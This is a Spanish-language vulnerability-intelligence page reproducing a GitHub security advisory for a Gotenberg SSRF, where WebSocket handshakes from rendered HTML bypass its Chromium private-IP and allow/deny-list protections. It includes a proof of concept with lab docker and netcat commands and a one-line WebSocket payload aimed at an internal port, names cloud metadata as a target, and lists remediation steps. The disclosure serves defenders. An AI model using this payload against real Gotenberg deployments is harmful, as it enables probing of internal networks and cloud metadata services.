llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/gotenberg/gotenberg/v8

GHSA-XPQ6-FF62-H26H

Server-Side Request Forgery (SSRF) via WebSocket Handshake Bypasses Chromium SSRF Protection in Gotenberg

Parche disponible
Descargar PNG JSON
CVSS 3.1
5.3
Media
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche2 versionesPrimer parche a -89 d de la divulgación
Exposición10 dDesde la divulgación, 11 nov 2026, 2:18 a. m.
Detección7 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Tranqui, pero que no se quede en el olvido.Un riesgo moderado es un riesgo con modales.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche v8.36.0
Monitoreo
Detectada +1
14 ago 26
11 nov 26
18 nov 26
21 nov 26
14 ago 26
8 sept 26
3 oct 26
27 oct 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche v8.36.0 github.com/gotenberg/gotenberg/v8 · -89 d desde divulgación
Divulgación Publicada GHSA-XPQ6-FF62-H26H divulgada · CVSS 5.3 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

Gotenberg's Chromium-level SSRF controls (--chromium-deny-private-ips, --chromium-deny-list/--chromium-allow-list) are enforced inside the CDP Fetch.requestPaused handler in pkg/modules/chromium/events.go. That event is never emitted for WebSocket handshakes, so any HTML/JS Gotenberg renders can open a `new WebSocket()` to an internal-only address with zero validation and zero logging.

Confirmed via `/forms/chromium/convert/html` with `CHROMIUM_DENY_PRIVATE_IPS=true` — Gotenberg's own documented hardening posture for internet-facing deployments. Other Chromium conversion/screenshot routes share the identical code path.

Details

The only place Gotenberg validates outbound requests from page-level JavaScript is `listenForEventRequestPaused` (`pkg/modules/chromium/events.go`):

chromedp.ListenTarget(ctx, func(ev any) {
    if e, ok := ev.(*fetch.EventRequestPaused); ok {
        go func() {
            err := gotenberg.FilterOutboundURL(ctx, e.Request.URL, options.allowList, options.denyList, deadline,
                gotenberg.WithDenyPrivateIPs(options.denyPrivateIPs),
                gotenberg.WithDenyPublicIPs(options.denyPublicIPs),
            )
            if err != nil {
                allow = false
            }
            if !allow {
                fetch.FailRequest(e.RequestID, network.ErrorReasonAccessDenied)
            }
        }()
    }
})

This wiring is identical for PDF conversion and screenshot routes (`browser.go`). Once `Fetch.enable` is active, Chromium pauses effectively every network request — except WebSocket handshakes, which never surface as `Fetch.requestPaused`. They only appear on the `Network` domain (`Network.webSocketCreated`, `Network.webSocketWillSendHandshakeRequest`), which Gotenberg enables but only consumes for telemetry, never for policy. A repo-wide `grep -rniI "websocket" --include="*.go" .` (excluding tests) confirms there is no WebSocket-aware enforcement anywhere else in the codebase.

Gotenberg also runs Chromium behind an internal DNS-rebind pinning proxy (`pkg/modules/chromium/pinning_proxy.go`), active by default when no custom `--chromium-proxy-server`/`--chromium-host-resolver-rules` is set — the configuration used below. This provides a second egress-control layer for HTTP(S) traffic. However, the WebSocket request in the PoC also bypasses this layer: with `LOG_LEVEL=debug`, the `pinning-proxy` logger shows no connection for `127.0.0.1:7777`, while the WebSocket handshake is observed by Chromium's `Network` domain and reaches the victim directly. This confirms that the WebSocket connection bypasses both the CDP `Fetch.requestPaused` enforcement and Gotenberg's default pinning proxy.

None of the currently published SSRF advisories (GHSA-rm4c-xj6x-49mw, GHSA-86m8-88fq-xfxp, GHSA-2pmr-289p-44r3, GHSA-jjwv-57xh-xr6r) target WebSocket — they all bypass the same `Fetch`-domain/regex checks that never see it to begin with.

PoC

docker pull gotenberg/gotenberg:8
docker run -d --name gotenberg-lab -p 3000:3000 \
  -e CHROMIUM_DENY_PRIVATE_IPS=true -e LOG_LEVEL=debug \
  gotenberg/gotenberg:8

docker run -d --name gotenberg-lab-victim --network container:gotenberg-lab \
  alpine sh -c "apk add --no-cache netcat-openbsd >/dev/null && nc -lvk -p 7777"

Gotenberg 8.35.0, Chromium 151.0.7922.71.

Control (`index.html`, proves the protection works):

<script>fetch("http://127.0.0.1:7777/control-fetch").catch(e => console.log("blocked:", e));</script>
curl --request POST http://localhost:3000/forms/chromium/convert/html \
  --form files=@index.html --form waitDelay=2s -o control.pdf

`200 OK`, request blocked, logged: `WARN 'http://127.0.0.1:7777/control-fetch' targets a non-public address`. Victim `nc`: nothing.

Test (same target, WebSocket):

<script>const ws = new WebSocket("ws://127.0.0.1:7777/ws-test");</script>

`200 OK`. Victim `nc` receives the full handshake:

GET /ws-test HTTP/1.1
Host: 127.0.0.1:7777
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Key: ON6QsrycN4HNrGr7Qoid8g==

No `EventRequestPaused` for this request, no `WARN`, no log entry at all.

Impact

Confirmed: an attacker who controls HTML/JS rendered by Gotenberg (upload, template injection, or `convert/url` to an attacker-controlled page) can initiate TCP connections to internal hosts and ports reachable from the Chromium process — loopback, RFC1918, link-local, cloud metadata (`169.254.169.254`) — by dressing them up as a WebSocket handshake. Fully bypasses `--chromium-deny-private-ips`/deny-list/allow-list, no auth required, no log trace.

Plausible, untested: the attacker's own JS controls the DOM being printed, so a responding target could have its reply written into the page (`ws.onmessage`) before `waitDelay` elapses — turning blind SSRF into read/exfiltration against any internal WebSocket service.

Suggested remediation

  1. Listen for `Network.webSocketWillSendHandshakeRequest`/`EventWebSocketCreated`, run the same `FilterOutboundURL` check, cancel non-conforming handshakes.
  2. Do not rely on the existing `--chromium-proxy-server`/pinning-proxy path for WebSocket egress control. The PoC confirms that the WebSocket handshake does not reach Gotenberg's pinning proxy, so a proxy-only fix would not address this bypass. WebSocket traffic requires an explicit enforcement path.
  3. Stop-gap: shadow `window.WebSocket` via `Page.addScriptToEvaluateOnNewDocument` when deny/allow-list enforcement is on, and document WS as unsupported in SSRF-hardened mode until (1)/(2) land.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:L
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
github.com/gotenberg/gotenberg/v8< 8.36.0
8.36.0
v8.40.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/gotenberg/gotenberg/v8
Corregida v8.36.0 -89 d v8.40.0 no afectada
Versiones corregidas8.36.0v8.36.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/gotenberg/gotenberg/security/advisories/GHSA-xpq6-ff62-h26h

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.